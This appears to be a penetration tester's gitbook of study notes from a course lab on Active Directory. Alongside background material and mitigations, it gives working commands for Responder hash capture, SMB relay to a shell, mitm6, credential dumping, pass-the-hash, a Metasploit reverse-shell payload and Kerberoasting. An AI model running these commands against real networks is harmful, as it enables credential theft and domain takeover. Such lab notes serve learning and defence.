├── .gitbook
└── assets
│ └── image.png
├── README.md
├── SUMMARY.md
├── active-directory
├── ad-basics.md
├── cheat-sheet.md
└── peh
│ ├── README.md
│ ├── initial-attack-vectors.md
│ ├── post-compromise-attacks.md
│ └── post-compromise-enumeration.md
├── apis
├── apisec.md
├── methodology
│ └── README.md
├── resources.md
├── thm.md
└── xss-rat.md
├── cloud
└── aws
│ ├── README.md
│ └── ctfs.md
├── exploitation
├── exploitation-basics.md
└── shells.md
├── information-gathering-reconnaissance
└── passive-reconnaissance.md
├── misc
├── containers.md
├── git.md
├── interesting-files.md
├── linux.md
├── networking.md
├── note-taking.md
├── powershell.md
├── python.md
├── todo.md
└── tools.md
├── mobile
├── android
│ ├── README.md
│ ├── methodology.md
│ └── support-and-tools.md
├── ios
│ ├── README.md
│ └── ios-forensics.md
├── linkedin-learning.md
└── tcm-mobile
│ ├── README.md
│ └── android.md
├── penetration-testing-methodology
├── 5-stages-of-ethical-hacking.md
└── the-cyber-kill-chain.md
├── pentesting-network
├── 110-pop3.md
├── 111-rpcbind.md
├── 11211-memcached.md
├── 135-rpc.md
├── 137-138-139-netbios.md
├── 139-445-smb.md
├── 1433-mssql.md
├── 161-snmp.md
├── 2049-nfs.md
├── 21-ftp.md
├── 22-ssh.md
├── 23-telnet.md
├── 25-smtp.md
├── 27017-27018-27019-mongodb.md
├── 3128-squid.md
├── 3306-mysql.md
├── 3389-rdp.md
├── 3632-distcc.md
├── 389-ldap.md
├── 464-kpasswd.md
├── 53-dns.md
├── 5432-postgresql.md
├── 5900-vnc.md
├── 5984-6984-couchdb.md
├── 5985-winrm.md
├── 6379-redis.md
├── 6667-irc.md
├── 69-tftp.md
├── 79-finger.md
├── 80-443-http-s
│ ├── README.md
│ ├── drupal.md
│ ├── joomla.md
│ ├── node.js.md
│ ├── phpmyadmin.md
│ ├── tomcat.md
│ ├── webdav.md
│ └── wordpress.md
├── 873-rsync.md
├── 88-kerberos.md
└── 9200-9300-elasticsearch.md
├── pentesting-web
├── authentication.md
├── burp-suite.md
├── command-injection
│ ├── README.md
│ └── portswigger-notes.md
├── directory-traversal.md
├── idor-insecure-direct-object-reference.md
├── jwt-attacks.md
├── nosql-injection.md
├── sqli-sql-injection.md
├── unrestricted-file-upload.md
├── web-testing.md
├── xss-cross-site-scripting
│ ├── README.md
│ └── portswigger-notes.md
└── xxe-xml-external-entity.md
├── phishing
├── phishing-hiddeneye.md
└── phishing.md
├── post-exploitation
├── cleanup.md
├── data-exfiltration.md
├── maintaining-access.md
├── passwords.md
└── tunneling-and-port-forwarding.md
├── privilege-escalation
├── linux.md
└── windows.md
├── scanning-and-enumeration
├── enumeration.md
├── network-scanning.md
└── vulnerability-scanning.md
└── wireless
└── wireless-hacking-101.md
/.gitbook/assets/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/H3r1CH/penetration-testing/d561af2bef61a251767b3b9b95059d0b67153c01/.gitbook/assets/image.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Page 1
2 |
3 |
--------------------------------------------------------------------------------
/SUMMARY.md:
--------------------------------------------------------------------------------
1 | # Table of contents
2 |
3 | * [README](README.md)
4 |
5 | ## Penetration Testing Methodology
6 |
7 | * [5 Stages of Ethical Hacking](penetration-testing-methodology/5-stages-of-ethical-hacking.md)
8 | * [The Cyber Kill Chain](penetration-testing-methodology/the-cyber-kill-chain.md)
9 |
10 | ## Information Gathering (Reconnaissance)
11 |
12 | * [Passive Reconnaissance](information-gathering-reconnaissance/passive-reconnaissance.md)
13 |
14 | ## Scanning & Enumeration
15 |
16 | * [Network Scanning](scanning-and-enumeration/network-scanning.md)
17 | * [Vulnerability Scanning](scanning-and-enumeration/vulnerability-scanning.md)
18 | * [Enumeration](scanning-and-enumeration/enumeration.md)
19 |
20 | ## Pentesting Network
21 |
22 | * [21 (FTP)](pentesting-network/21-ftp.md)
23 | * [22 (SSH)](pentesting-network/22-ssh.md)
24 | * [23 (Telnet)](pentesting-network/23-telnet.md)
25 | * [25 (SMTP)](pentesting-network/25-smtp.md)
26 | * [53 (DNS)](pentesting-network/53-dns.md)
27 | * [69 (TFTP)](pentesting-network/69-tftp.md)
28 | * [79 (Finger)](pentesting-network/79-finger.md)
29 | * [80,443 (HTTP/S)](pentesting-network/80-443-http-s/README.md)
30 | * [Drupal](pentesting-network/80-443-http-s/drupal.md)
31 | * [Joomla](pentesting-network/80-443-http-s/joomla.md)
32 | * [Node.js](pentesting-network/80-443-http-s/node.js.md)
33 | * [phpMyAdmin](pentesting-network/80-443-http-s/phpmyadmin.md)
34 | * [Tomcat](pentesting-network/80-443-http-s/tomcat.md)
35 | * [WebDAV](pentesting-network/80-443-http-s/webdav.md)
36 | * [WordPress](pentesting-network/80-443-http-s/wordpress.md)
37 | * [88 (Kerberos)](pentesting-network/88-kerberos.md)
38 | * [110 (POP3)](pentesting-network/110-pop3.md)
39 | * [111 (Rpcbind)](pentesting-network/111-rpcbind.md)
40 | * [135 (RPC)](pentesting-network/135-rpc.md)
41 | * [137,138,139 (NetBIOS)](pentesting-network/137-138-139-netbios.md)
42 | * [139,445 (SMB)](pentesting-network/139-445-smb.md)
43 | * [161 (SNMP)](pentesting-network/161-snmp.md)
44 | * [389 (LDAP)](pentesting-network/389-ldap.md)
45 | * [464 (kpasswd)](pentesting-network/464-kpasswd.md)
46 | * [873 (rsync)](pentesting-network/873-rsync.md)
47 | * [1433 (MSSQL)](pentesting-network/1433-mssql.md)
48 | * [2049 (NFS)](pentesting-network/2049-nfs.md)
49 | * [3128 (Squid)](pentesting-network/3128-squid.md)
50 | * [3306 (MySQL)](pentesting-network/3306-mysql.md)
51 | * [3389 (RDP)](pentesting-network/3389-rdp.md)
52 | * [3632 (distcc)](pentesting-network/3632-distcc.md)
53 | * [5432 (postgresql)](pentesting-network/5432-postgresql.md)
54 | * [5900 (VNC)](pentesting-network/5900-vnc.md)
55 | * [5984, 6984 (CouchDB)](pentesting-network/5984-6984-couchdb.md)
56 | * [5985 (WinRM)](pentesting-network/5985-winrm.md)
57 | * [6379 (Redis)](pentesting-network/6379-redis.md)
58 | * [6667 (IRC)](pentesting-network/6667-irc.md)
59 | * [9200, 9300 (Elasticsearch)](pentesting-network/9200-9300-elasticsearch.md)
60 | * [11211 (Memcached)](pentesting-network/11211-memcached.md)
61 | * [27017, 27018, 27019 (MongoDB)](pentesting-network/27017-27018-27019-mongodb.md)
62 |
63 | ## Pentesting Web
64 |
65 | * [Burp Suite](pentesting-web/burp-suite.md)
66 | * [Web Testing](pentesting-web/web-testing.md)
67 | * [Authentication](pentesting-web/authentication.md)
68 | * [Command Injection](pentesting-web/command-injection/README.md)
69 | * [PortSwigger Notes](pentesting-web/command-injection/portswigger-notes.md)
70 | * [Directory Traversal](pentesting-web/directory-traversal.md)
71 | * [IDOR (Insecure Direct Object Reference)](pentesting-web/idor-insecure-direct-object-reference.md)
72 | * [JWT Attacks](pentesting-web/jwt-attacks.md)
73 | * [NoSQL Injection](pentesting-web/nosql-injection.md)
74 | * [SQLi (SQL Injection)](pentesting-web/sqli-sql-injection.md)
75 | * [Unrestricted File Upload](pentesting-web/unrestricted-file-upload.md)
76 | * [XSS (Cross-Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
77 | * [PortSwigger Notes](pentesting-web/xss-cross-site-scripting/portswigger-notes.md)
78 | * [XXE (XML External Entity)](pentesting-web/xxe-xml-external-entity.md)
79 |
80 | ## Exploitation
81 |
82 | * [Exploitation Basics](exploitation/exploitation-basics.md)
83 | * [Shells](exploitation/shells.md)
84 |
85 | ## Post Exploitation
86 |
87 | * [Passwords](post-exploitation/passwords.md)
88 | * [Data Exfiltration](post-exploitation/data-exfiltration.md)
89 | * [Maintaining Access](post-exploitation/maintaining-access.md)
90 | * [Tunneling and Port Forwarding](post-exploitation/tunneling-and-port-forwarding.md)
91 | * [Cleanup](post-exploitation/cleanup.md)
92 |
93 | ## Privilege Escalation
94 |
95 | * [Linux](privilege-escalation/linux.md)
96 | * [Windows](privilege-escalation/windows.md)
97 |
98 | ## Active Directory
99 |
100 | * [Cheat Sheet](active-directory/cheat-sheet.md)
101 | * [AD Basics](active-directory/ad-basics.md)
102 | * [PEH](active-directory/peh/README.md)
103 | * [Initial Attack Vectors](active-directory/peh/initial-attack-vectors.md)
104 | * [Post-Compromise Enumeration](active-directory/peh/post-compromise-enumeration.md)
105 | * [Post Compromise Attacks](active-directory/peh/post-compromise-attacks.md)
106 |
107 | ## Mobile
108 |
109 | * [LinkedIn Learning](mobile/linkedin-learning.md)
110 | * [Android](mobile/android/README.md)
111 | * [Methodology](mobile/android/methodology.md)
112 | * [Support and Tools](mobile/android/support-and-tools.md)
113 | * [iOS](mobile/ios/README.md)
114 | * [iOS Forensics](mobile/ios/ios-forensics.md)
115 | * [TCM - Mobile](mobile/tcm-mobile/README.md)
116 | * [Android](mobile/tcm-mobile/android.md)
117 |
118 | ## Cloud
119 |
120 | * [AWS](cloud/aws/README.md)
121 | * [CTFs](cloud/aws/ctfs.md)
122 |
123 | ## APIs
124 |
125 | * [Methodology](apis/methodology/README.md)
126 | * [APISEC](apis/apisec.md)
127 | * [THM](apis/thm.md)
128 | * [XSS Rat](apis/xss-rat.md)
129 | * [Resources](apis/resources.md)
130 |
131 | ## Wireless
132 |
133 | * [Wireless Hacking 101](wireless/wireless-hacking-101.md)
134 |
135 | ## Phishing
136 |
137 | * [Phishing](phishing/phishing.md)
138 | * [Phishing: HiddenEye](phishing/phishing-hiddeneye.md)
139 |
140 | ## Misc
141 |
142 | * [Note Taking](misc/note-taking.md)
143 | * [Networking](misc/networking.md)
144 | * [Linux](misc/linux.md)
145 | * [PowerShell](misc/powershell.md)
146 | * [Python](misc/python.md)
147 | * [Containers](misc/containers.md)
148 | * [Git](misc/git.md)
149 | * [Tools](misc/tools.md)
150 | * [Interesting Files](misc/interesting-files.md)
151 | * [TODO](misc/todo.md)
152 |
--------------------------------------------------------------------------------
/active-directory/ad-basics.md:
--------------------------------------------------------------------------------
1 | # AD Basics
2 |
3 | ## Domain Controllers
4 |
5 | A domain controller is a Windows server that has Active Directory Domain Services (AD DS) installed and has been promoted to a domain controller in the forest. Domain controllers are the center of Active Directory -- they control the rest of the domain.
6 |
7 | * holds the AD DS data store
8 | * handles authentication and authorization services
9 | * replicate updates from other domain controllers in the forest
10 | * Allows admin access to manage domain resources
11 |
12 | ## AD DS Data Store
13 |
14 | The Active Directory Data Store holds the databases and processes needed to store and manage directory information such as users, groups, and services.
15 |
16 | * Contains the NTDS.dit - a database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users
17 | * Stored by default in %SystemRoot%\NTDS
18 | * accessible only by the domain controller
19 |
20 | ## Forest
21 |
22 | A forest is a collection of one or more domain trees inside of an Active Directory network. It is what categorizes the parts of the network as a whole. The Forest consists of:
23 |
24 | * Trees - A hierarchy of domains in Active Directory Domain Services
25 | * Domains - Used to group and manage objects
26 | * Organizational Units (OUs) - Containers for groups, computers, users, printers and other OUs
27 | * Trusts - Allows users to access resources in other domains
28 | * Objects - users, groups, printers, computers, shares
29 | * Domain Services - DNS Server, LLMNR, IPv6
30 | * Domain Schema - Rules for object creation
31 |
32 | ## Users + Groups
33 |
34 | ### Users
35 |
36 | There are four main types of users you'll find in an Active Directory network; however, there can be more depending on how a company manages the permissions of its users. The four types of users are:
37 |
38 | * Domain Admins - This is the big boss: they control the domains and are the only ones with access to the domain controller.
39 | * Service Accounts (Can be Domain Admins) - These are for the most part never used except for service maintenance, they are required by Windows for services such as SQL to pair a service with a service account
40 | * Local Administrators - These users can make changes to local machines as an administrator and may even be able to control other normal users, but they cannot access the domain controller
41 | * Domain Users - These are your everyday users. They can log in on the machines they have the authorization to access and may have local administrator rights to machines depending on the organization.
42 |
43 | ### Groups
44 |
45 | Groups make it easier to give permissions to users and objects by organizing them into groups with specified permissions. There are two overarching types of Active Directory groups:
46 |
47 | * Security Groups - These groups are used to specify permissions for a large number of users
48 | * Distribution Groups - These groups are used to specify email distribution lists. As an attacker these groups are less beneficial to us but can still be beneficial in enumeration
49 |
50 | ## Trusts + Policies
51 |
52 | ### Trusts
53 |
54 | Trusts are a mechanism in place for users in the network to gain access to other resources in the domain. For the most part, trusts outline the way that the domains inside of a forest communicate to each other, in some environments trusts can be extended out to external domains and even forests in some cases.
55 |
56 | There are two types of trusts that determine how the domains communicate.
57 |
58 | * Directional - The direction of the trust flows from a trusting domain to a trusted domain
59 | * Transitive - The trust relationship expands beyond just two domains to include other trusted domains
60 |
61 | ### Policies
62 |
63 | They dictate how the server operates and what rules it will and will not follow. You can think of domain policies like domain groups, except instead of permissions they contain rules, and instead of only applying to a group of users, the policies apply to a domain as a whole.
64 |
65 | I'll outline just a few of the many policies that are default or you can create in an Active Directory environment:
66 |
67 | * Disable Windows Defender - Disables windows defender across all machine on the domain
68 | * Digitally Sign Communication (Always) - Can disable or enable SMB signing on the domain controller
69 |
70 | ## AD DS + Authentication
71 |
72 | ### Domain Services
73 |
74 | They are services that the domain controller provides to the rest of the domain or tree. There is a wide range of various services that can be added to a domain controller. Outlined below are the default domain services:
75 |
76 | * LDAP - Lightweight Directory Access Protocol; provides communication between applications and directory services
77 | * Certificate Services - allows the domain controller to create, validate, and revoke public key certificates
78 | * DNS, LLMNR, NBT-NS - Domain Name Services for identifying IP hostnames
79 |
80 | ### Domain Authentication
81 |
82 | The most important part of Active Directory -- as well as the most vulnerable part of Active Directory -- is the authentication protocols set in place. There are two main types of authentication in place for Active Directory: NTLM and Kerberos.
83 |
84 | * Kerberos - The default authentication service for Active Directory uses ticket-granting tickets and service tickets to authenticate users and give users access to other resources across the domain.
85 | * NTLM - default Windows authentication protocol uses an encrypted challenge/response protocol
86 |
87 | ## AD in the Cloud
88 |
89 | ### Azure AD
90 |
91 | Azure acts as the middle man between your physical Active Directory and your users' sign on. This allows for a more secure transaction between domains, making a lot of Active Directory attacks ineffective.
92 |
93 | ### Cloud Security
94 |
95 | The best way to show you how the cloud takes security precautions past what is already provided with a physical network is to show you a comparison with a cloud Active Directory environment:
96 |
97 | | **Windows Server AD** | **Azure AD** |
98 | | --------------------- | -------------- |
99 | | LDAP | Rest APIs |
100 | | NTLM | OAuth/SAML |
101 | | Kerberos | OpenID |
102 | | OU Tree | Flat Structure |
103 | | Domains and Forests | Tenants |
104 | | Trusts | Guests |
105 |
--------------------------------------------------------------------------------
/active-directory/peh/README.md:
--------------------------------------------------------------------------------
1 | # PEH
2 |
3 | ## Active Directory Overview
4 |
5 | ### Active Directory Overview
6 |
7 | #### What is Active Directory?
8 |
9 | * Directory service developed by Microsoft to manage Windows domain networks
10 | * Stores information related to objects, such as Computers, Users, Printers, etc.
11 | * Think about it as a phone book for Windows
12 | * Authenticates using Kerberos tickets
13 | * Non-Windows devices, such as Linux machines, firewalls, etc. can also authenticate to Active Directory via RADIUS or LDAP
14 |
15 | #### Why Active Directory?
16 |
17 | * Active Directory is the most commonly used identity management service in the world
18 | * 95% of Fortune 1000 companies implement the service in their networks \
19 | * Can be exploited without ever attacking patchable exploits
20 | * Instead, we abuse features, trusts, components, and more.
21 |
22 | ### Physical Active Directory Components
23 |
24 | #### Domain Controllers
25 |
26 | * A domain controller is a server with the AD DS server role installed that has specifically been promoted to a domain controller. Domain Controllers:
27 | * Host a copy of the AD DS directory store
28 | * Provide authentication and authorization services
29 | * Replicate updates to older domain controllers in the domain and forest
30 | * Allow administrative access to manage user accounts and network resources
31 |
32 | #### AD DS Data Store
33 |
34 | * The AD DS data store contains the database files and processes that store and manage directory information for users, services, and applications. The AD DS data store:
35 | * Consists of the Ntds.dit file
36 | * Is stored by default in the %SystemRoot%\NTDS folder on all domain controllers
37 | * Is accessible only through the domain controller processes and protocols
38 |
39 | ### Logical Active Directory Components
40 |
41 | #### AD DS Schema
42 |
43 | * The AD DS Schema:
44 | * Defines every type of object that can be stored in the directory
45 | * Enforces rules regarding object creation and configuration
46 |
47 | #### Domains
48 |
49 | * Domains are sued to group and manage objects in an organization. Domains:
50 | * An administrative boundary for applying policies to groups of objects
51 | * A replication boundary for replicating data between domain controllers
52 | * An authentication and authorization boundary that provides a way to limit the scope of access to resources
53 |
54 | #### Trees
55 |
56 | * A domain tree is a hierarchy of domains in AD DS
57 | * Ex: contoso.com --> emea.contoso.com, na.contoso.com
58 | * All domains in the tree:
59 | * Share a contiguous namespace with the parent domain
60 | * Can have additional child domains
61 | * By default create a two-way transitive trust with other domains
62 |
63 | #### Forest
64 |
65 | * A Forest is a collection of one or more domain trees. Forests:
66 | * Share a common schema
67 | * Share a common configuration partition
68 | * Share a common global catalog to enable searching
69 | * Enable trusts between all domains in the forest
70 | * Share the Enterprise Admins and Schema Admins groups
71 |
72 | #### Organizational Units (OUs)
73 |
74 | * OUs are Active Directory containers that can contain users, groups, computers, and other OUs. OUs are used to:
75 | * Represent your organization hierarchically and logically
76 | * Manage a collection of objects in a consistent way
77 | * Delegate permissions to administer groups of objects
78 | * Apply policies
79 |
80 | #### Trusts
81 |
82 | * Trusts provide a mechanism for users to gain access to resources in another domain
83 |
84 | | Types of Trusts | Description | Diagram |
85 | | --------------- | --------------------------------------------------------------------------------------------- | ------- |
86 | | Directional | The trust direction flows from trusting domain to the trusted domain | |
87 | | Transitive | The trust relationship is extended beyond a two-domain trust to include other trusted domains | |
88 |
89 | * All domains in a forest trust all other domains in the forest
90 | * Trusts can extend outside the forest
91 |
92 | #### Objects
93 |
94 |
Object
Description
User
Enables network resource access for a user
InetOrgPerson
Similar to a user account
Used for compatibility with other directory services
Contacts
Used primarily to assign e-mail addresses to external users
Does not enable network access
Groups
Used to simplify the administration of access control
Computers
Enables authentication and auditing of computer access to resources
Printers
Used to simplify the process of locating and connecting to printers
Shared folders
Enables users to search for shared folders based on properties
95 |
--------------------------------------------------------------------------------
/active-directory/peh/initial-attack-vectors.md:
--------------------------------------------------------------------------------
1 | # Initial Attack Vectors
2 |
3 | ## Introduction
4 |
5 | {% embed url="https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa" %}
6 |
7 | ## LLMNR Poisoning Overview
8 |
9 | #### What is LLMNR?
10 |
11 | Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification.
12 |
13 | * Used to identify hosts when DNS fails to do so.
14 | * Previously NBT-NS
15 | * Key flaw is that the services utilizes a user's username and NTLMv2 hash when appropriately responded to.
16 |
17 | #### Steps
18 |
19 | 1. Run Responder
20 | 1. `python3 /usr/share/responder/Responder.py -I tun0 -rdw -v`
21 | 2. An Even Occurs
22 | 1. i.e. someone typed in the wrong network drive (DNS failing)
23 | 3. Get the Hashes
24 | 1. Copy from Responder output and place in a text file
25 | 4. Crack the Hashes
26 | 1. `hashcat -m 5600 hashes.txt rockyou.txt`
27 |
28 | ### Capturing NTLMv2 Hashes with Responder
29 |
30 | #### From Kali
31 |
32 | ```bash
33 | kali@kali:~/ctf/tcm/peh$ sudo responder -I eth0 -rdw
34 | ...
35 | [+] Listening for events...
36 | ```
37 |
38 | #### From Windows Machine (MARVEL\fcastle)
39 |
40 | Opened file Explorer, and type \\\192.168.1.165 (The Kali IP address on eth0).
41 |
42 | #### From Kali Machine
43 |
44 | Responder grabs the hash from the previous event.
45 |
46 | ```bash
47 | [SMB] NTLMv2-SSP Client : 192.168.1.157
48 | [SMB] NTLMv2-SSP Username : MARVEL\fcastle
49 | [SMB] NTLMv2-SSP Hash : fcastle::MARVEL:8ab5671e342774e7:B66F027CB5E16825C8967D591C85FA76:0101000000000000C0653150DE09D2012F006B8AD271B58B000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000010000000020000031452132010184239D06D2B1049A174FC1A65A7E3EDCB6CD78A3CA55D16431910A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003100360035000000000000000000
50 | [*] Skipping previously captured hash for MARVEL\fcastle
51 | ```
52 |
53 | ### Password Cracking with Hashcat
54 |
55 | From the hash found in the previous section an attempt to crack it
56 |
57 | ```bash
58 | kali@kali:~/ctf/tcm/peh$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
59 | ...
60 | :Password1
61 | ```
62 |
63 | ### LLMNR Poisoning Defense
64 |
65 | #### Mitigation
66 |
67 | The best defense in this case is to disable LLMNR and NBT-NS.
68 |
69 | * To disable LLMNR,...
70 | * To disable NBT-NS,...
71 |
72 | If a company must use or cannot disable LLMNR/NBT-NS, the best course of action is to:
73 |
74 | * Require Network Access Control.
75 | * Require strong user passwords. The more complex and long the password, the harder it is for an attacker to crack the hash.
76 |
77 | ## SMB Relay Attacks Overview
78 |
79 | #### What is SMB Relay?
80 |
81 | Instead of cracking hashes gathered with Responder, we can instead relay those hashes to specific machines and potentially gain access.
82 |
83 | #### Requirements
84 |
85 | * SMB signing must be disabled on the target
86 | * Relayed user credentials must be admin on machine.
87 |
88 | #### Steps
89 |
90 | 1. Run Responder
91 | 1. vim /usr/share/responder/Responder.conf --> Turn Off SMB and HTTP
92 | 2. Run Responder
93 | 1. `kali@kali:~/ctf/tcm/peh$ sudo responder -I eth0 -rdw`
94 | 3. Set up your relay
95 | 1. `python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support`
96 | 4. An even occurs
97 | 1. i.e. someone typed in the wrong network drive (DNS failing)
98 | 5. Get the hashes
99 |
100 | ### Discovering Hosts with SMB Signing Disabled
101 |
102 | #### From Kali
103 |
104 | ```bash
105 | kali@kali:~/ctf/tcm/peh$ sudo nmap --script=smb2-security-mode.nse -p445 192.168.1.0/24
106 | ...
107 | Host scipr results:
108 | | smb2-security-mode:
109 | | 2.02:
110 | | Message signing enabled but not required
111 | ```
112 |
113 | ### SMB Relay Attack Demonstration
114 |
115 | After making necessary changes to Responder.conf...
116 |
117 | #### Run Responder
118 |
119 | ```bash
120 | kali@kali:~/ctf/tcm/peh$ sudo responder -I eth0 -rdw
121 | ...
122 | [+] Listening for events...
123 | ```
124 |
125 | #### Run ntlmrelayx
126 |
127 | ```bash
128 | kali@kali:~/ctf/tcm/peh$ ntlmrelayx.py -tf targets.txt -smb2support
129 | ...
130 | [*] Servers started, waiting for connections
131 | ```
132 |
133 | #### Trigger Connection
134 |
135 | #### From Target
136 |
137 | Type `\\ATTACKER-IP` in File Explorer
138 |
139 | #### From Kali
140 |
141 | Hashes returned as well as a dumping of local SAM hashes
142 |
143 | ### Getting a Shell
144 |
145 | Instead of running ntlmrelayx like before, the `-i` option to try and get an interactive shell
146 |
147 | ```bash
148 | kali@kali:~/ctf/tcm/peh$ ntlmrelayx.py -tf targets.txt -smb2support -i
149 | ...
150 | [*] Servers started, waiting for connections
151 | ```
152 |
153 | Run the same action from Trigger Connection section
154 |
155 | In the output it will say where the shell was returned i.e. 127.0.0.1:11000
156 |
157 | Use netcat to connection to this port
158 |
159 | ```bash
160 | kali@kali:~/ctf/tcm/peh$ nc 127.0.0.1 11000
161 | # help
162 | We are in an SMB shell essentially
163 | # shares
164 | # use C$
165 | ```
166 |
167 | ### SMB Relay Attack Defenses
168 |
169 | #### Mitigation
170 |
171 | * Enable SMB Signing on all devices
172 | * Pro: Completely stops the attack
173 | * Con: Can cause performance issues with file copies
174 | * Disable NTLM authentication on network
175 | * Pro: Completely stops the attack
176 | * Con: If Kerberos stops working, Windows defaults back to NTLM
177 | * Account Tiering:
178 | * Pro: Limits domain admins to specific tasks
179 | * Con: Enforcing the policy may be difficult
180 | * Local Admin Restriction:
181 | * Pro: Can prevent a lot of lateral movement
182 | * Con: Potential increase in the amount of service desk tickets
183 |
184 | ### Gaining Shell Access
185 |
186 | Metasploit Walkthrough
187 |
188 | Also Metasploit psexec vs psexec.py, wmiexec.py, smbexec.py
189 |
190 | ## IPv6 Attacks Overview
191 |
192 | ### Installing mitm6
193 |
194 | {% embed url="https://github.com/dirkjanm/mitm6" %}
195 |
196 | ### Setting Up LDAPS
197 |
198 | Walkthrough of setting up LDAPS server on the Windows Server
199 |
200 | ### IPv6 DNS Takeover via mitm6
201 |
202 | #### Run mitm6
203 |
204 | ```bash
205 | kali@kali:~/ctf/tcm/peh$ mitm6 -d marvel.local
206 | ```
207 |
208 | #### Run ntlmrelayx
209 |
210 | ```bash
211 | kali@kali:~/ctf/tcm/peh$ ntlmrelayx.py -6 -t ldaps// -wh fakewpad.marvel.local -l lootme
212 | ```
213 |
214 | {% embed url="https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6" %}
215 |
216 | {% embed url="https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation" %}
217 |
218 | ### IPv6 Attack Defenses
219 |
220 | #### Mitigation
221 |
222 | 1. IPv6 poisoning abuses the fact that Windows queries for an IPv6 address even in IPv4-only environments. If you don't use IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy. Disabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working:
223 | 1. a...
224 | 2. b...
225 | 3. c...
226 | 2. If WPAD is not in use internally, disable it via Group Policy and by disabling the WinHttpAutoProxySvc service.
227 | 3. Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.
228 | 4. Consider Administrative users to the Protected Users group or marking them as Account is sensitive and cannot be delegated, which will prevent any impersonation of that user via delegation.
229 |
230 | ### Passback Attacks
231 |
232 | {% embed url="https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack" %}
233 |
234 | ## Other Attack Vectors and Strategies
235 |
236 | ### Strategies
237 |
238 | * Begin the day with mitm6 or Responder
239 | * Run scans to generate traffic
240 | * If scans are taking too long, look for websites in scope (http\_version)
241 | * Look for default credentials on web logins
242 | * Printers
243 | * Jenkins
244 | * Etc.
245 | * Think outside the box
246 |
--------------------------------------------------------------------------------
/active-directory/peh/post-compromise-attacks.md:
--------------------------------------------------------------------------------
1 | # Post Compromise Attacks
2 |
3 | ## Pass the Password Attacks
4 |
5 | #### crackmapexec
6 |
7 | ```bash
8 | kali@kali:~/ctf/tcm/peh$ crackmapexec smb 192.168.57.0/24 -u fcastle -d MARVEL.local -p Password1
9 | # Dump the SAM hashes
10 | --sam
11 | # Dump the LSA secrets
12 | --lsa
13 | # Dump the NTDS.dit
14 | --ntds
15 | ```
16 |
17 | #### psexec
18 |
19 | ```bash
20 | kali@kali:~/ctf/tcm/peh$ /usr/share/doc/python3-impacket/examples/psexec.py marvel/fcastle:Password1@192.168.57.142
21 | ```
22 |
23 | ## Dumping Hashes with secretsdump.py
24 |
25 | #### secretsdump
26 |
27 | ```bash
28 | kali@kali:~/ctf/tcm/peh$ /usr/share/doc/python3-impacket/examples/secretsdump.py marvel/fcastle:Password1@192.168.57.141
29 | ```
30 |
31 | ## Cracking NTLM Hashes with Hashcat
32 |
33 | #### hashcat
34 |
35 | ```bash
36 | kali@kali:~/ctf/tcm/peh$ hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
37 | ```
38 |
39 | ## Pass the Hash Attacks
40 |
41 | #### crackmapexec
42 |
43 | ```bash
44 | kali@kali:~/ctf/tcm/peh$ crackmapexec smb 192.168.57.0/24 -u "Frank Castle" -H --local-auth
45 | ```
46 |
47 | ## Pass Attack Mitigations
48 |
49 | Hard to completely prevent, but we can make it more difficult on an attacker:
50 |
51 | * Limit account re-use
52 | * Avoid re-using local admin password
53 | * Disable Guest and Administrator accounts
54 | * Limit who is a local administrator (least privilege)
55 | * Utilize strong passwords
56 | * The longer the better
57 | * Avoid using common words
58 | * Long sentences
59 | * Privilege Access Management (PAM)
60 | * Check out/in sensitive accounts when needed
61 | * Automatically rotate passwords on check out and check in
62 | * Limits pass attacks as hash/password is strong and constantly rotated
63 |
64 | ## Token Impersonation
65 |
66 | ### Overview
67 |
68 | #### What are tokens?
69 |
70 | * Temporary keys that allow you to access to a system/network without having to provide credentials each time you access a file. Think cookies for computers.
71 |
72 | #### Two Types
73 |
74 | * Delegate - Created for logging into a machine or using Remote Desktop
75 | * Impersonate - "non-interactive" such as attach a network drive or a domain logon script
76 |
77 | ### Token Impersonation with Incognito
78 |
79 | #### Metasploit
80 |
81 | ```bash
82 | msfconsole
83 | use exploit/windows/smb/psexec
84 | # Set RHOSTS, SMBDomain, SMBPass, and SMBUser;
85 | # set target 2; set payload windows/x64/meterpreter/reverse_tcp; set LHOST
86 | run
87 | # hashdump
88 | # getuid
89 | # sysinfo
90 | load incognito
91 | help
92 | list_tokens -u
93 | impersonate_token marvel\\administrator
94 | shell
95 | whoami
96 | ```
97 |
98 | ### Mitigation
99 |
100 | #### Strategies
101 |
102 | * Limit user/group token creation permissions
103 | * Account tiering
104 | * Local admin restriction
105 |
106 | ## Kerberoasting
107 |
108 | ### Overview
109 |
110 | [https://medium.com/@Shorty420/kerberoasting-9108477279cc](https://medium.com/@Shorty420/kerberoasting-9108477279cc)
111 |
112 | #### Steps
113 |
114 | 1. Get SPNs, Dump Hash
115 | 1. `python GetUserSPNs.py dc-ip -request`
116 | 2. Crack that hash
117 | 1. `hashcat -m 13100 kerberoast.txt rockyou.txt`
118 |
119 | ### Example
120 |
121 | #### GetUserSPNs
122 |
123 | ```bash
124 | GetUserSPNs.py marvel.local/fcastle:Password1 -dc-ip 192.168.57.140 -request
125 | ```
126 |
127 | Copy the hash from the output and paste it into a text file.
128 |
129 | #### hashcat
